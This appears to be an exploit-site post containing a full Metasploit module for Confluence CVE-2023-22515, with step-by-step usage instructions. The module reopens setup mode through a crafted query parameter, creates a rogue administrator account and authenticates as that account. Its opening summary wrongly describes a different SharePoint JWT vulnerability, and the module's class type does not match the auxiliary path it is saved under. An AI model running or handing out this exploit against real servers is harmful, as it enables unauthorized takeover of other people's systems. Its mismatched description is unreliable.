📄 Confluence 8.x Privilege Escalation

=============================================================================================================================================
    | # Title     : Confluence 8.x Privilege Escalation                                                                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.atlassian.com/software/confluence                                                                               |
    =============================================================================================================================================
    
    POC : 
    
    1. Summary :
       a critical authentication bypass vulnerability in Microsoft SharePoint known as CVE‑2023‑29357. (https://packetstorm.news/files/id/207960/)
       The flaw allows an attacker to craft an unsigned JWT token with "alg": "none" and impersonate any SharePoint user, 
       including Site Administrators, without possessing valid credentials.
       The vulnerability is dangerous because it exposes internal SharePoint APIs and may enable privilege escalation or full system compromise.
    
    ===============
    # Save & Usage 
    ===============
    
    1. Save module as:
       modules/auxiliary/admin/http/confluence_cve_2023_22515.rb
    
    2. Reload Metasploit:
       msfconsole
       reload_all
    
    3. Use module:
       use auxiliary/admin/http/confluence_cve_2023_22515
    
    4. Set options:
       set RHOSTS https://target.com
       set TARGETURI /
       set USERNAME pleasepatch
       set PASSWORD Password2
    
    5. Run:
       run
    -------------------------
    auxiliary               :
    -------------------------
    ##
    # This file is part of the Metasploit Framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Atlassian Confluence Unauthenticated Privilege Escalation (CVE‑2023‑22515)',
          'Description'    => %q{
            This module exploits CVE-2023-22515, an authentication bypass and setup
            reopening vulnerability in Atlassian Confluence Data Center and Server.
    
            An attacker can force Confluence into setup mode, then create a NEW
            administrator account and authenticate with full admin privileges.
    
            This module replicates the exact behavior of the PoC Python script:
            1- trigger vulnerability via /server-info.action?setupComplete=false
            2- create admin user
            3- authenticate via REST API
          },
          'Author'         => [
            'Chocapikk - PoC',     
            'indoushka - Full Metasploit conversion'
          ],
          'License'        => MSF_LICENSE,
          'References'     => [
            ['CVE', '2023-22515'],
            ['URL', 'https://github.com/Chocapikk/CVE-2023-22515']
          ],
          'Platform'       => 'linux',
          'Arch'           => ARCH_ALL,
          'Targets'        => [['Automatic', {}]],
          'DisclosureDate' => '2023-10-04',
          'DefaultTarget'  => 0
        ))
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path', '/']),
            OptString.new('USERNAME',  [true, 'Admin username to create', 'pleasepatch']),
            OptString.new('PASSWORD',  [true, 'Admin password to create', 'Password2'])
          ]
        )
      end
    
      #
      # Check Vuln
      #
      def check
        v = trigger_setup
        return Exploit::CheckCode::Vulnerable if v
        Exploit::CheckCode::Safe
      end
    
      #
      # Exploit
      #
      def exploit
        print_status("Triggering setup mode bypass on target...")
        unless trigger_setup
          fail_with(Failure::NotVulnerable, 'Could not reopen setup mode.')
        end
    
        print_good("Setup mode reopened successfully ✔")
    
        print_status("Creating new administrator account...")
        unless create_admin
          fail_with(Failure::UnexpectedReply, 'Failed to create admin user')
        end
    
        print_good("Admin account created successfully ✔")
    
        print_status("Authenticating to REST API as #{datastore['USERNAME']} ...")
    
        if authenticate_user
          print_good("Successfully logged in as #{datastore['USERNAME']}! ✔ FULL ADMIN PWNED ✔")
        else
          fail_with(Failure::NoAccess, 'Authentication failed after account creation')
        end
      end
    
      #
      # Step 1 — Trigger vulnerability
      #
      def trigger_setup
        send_req(
          "GET",
          normalize_uri(target_uri.path, "server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false")
        )&.code == 200
      end
    
      #
      # Step 2 — Create Admin
      #
      def create_admin
        data = {
          "username" => datastore['USERNAME'],
          "fullName" => datastore['USERNAME'],
          "email" => "#{datastore['USERNAME']}@localhost",
          "password" => datastore['PASSWORD'],
          "confirm" => datastore['PASSWORD'],
          "setup-next-button" => "Next"
        }
    
        res = send_req("POST", normalize_uri(target_uri.path, "setup", "setupadministrator.action"), data)
    
        return false unless res
    
        if res.body.include?("Setup Successful") ||
           res.body.include?("A user with this username already exists")
          return true
        end
    
        false
      end
    
      #
      # Step 3 — Validate Login
      #
      def authenticate_user
        auth = Rex::Proto::Http::Client::BasicAuthHeader.new(
          datastore['USERNAME'],
          datastore['PASSWORD']
        )
    
        res = send_req(
          "GET",
          normalize_uri(target_uri.path, "rest/api/user?username=#{datastore['USERNAME']}"),
          nil,
          auth
        )
    
        return false unless res && res.code == 200
        true
      end
    
      #
      # Unified request
      #
      def send_req(method, uri, data=nil, auth=nil)
        begin
          send_request_cgi({
            'method' => method,
            'uri'    => uri,
            'ctype'  => 'application/x-www-form-urlencoded',
            'data'   => data,
            'authorization' => auth ? auth.to_s : nil,
            'headers' => {
              "X-Atlassian-Token" => "no-check",
              "User-Agent" => "Metasploit - CVE-2023-22515"
            }
          }, 5)
        rescue ::Rex::Error::RequestTimeout
          return nil
        end
      end
    end
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================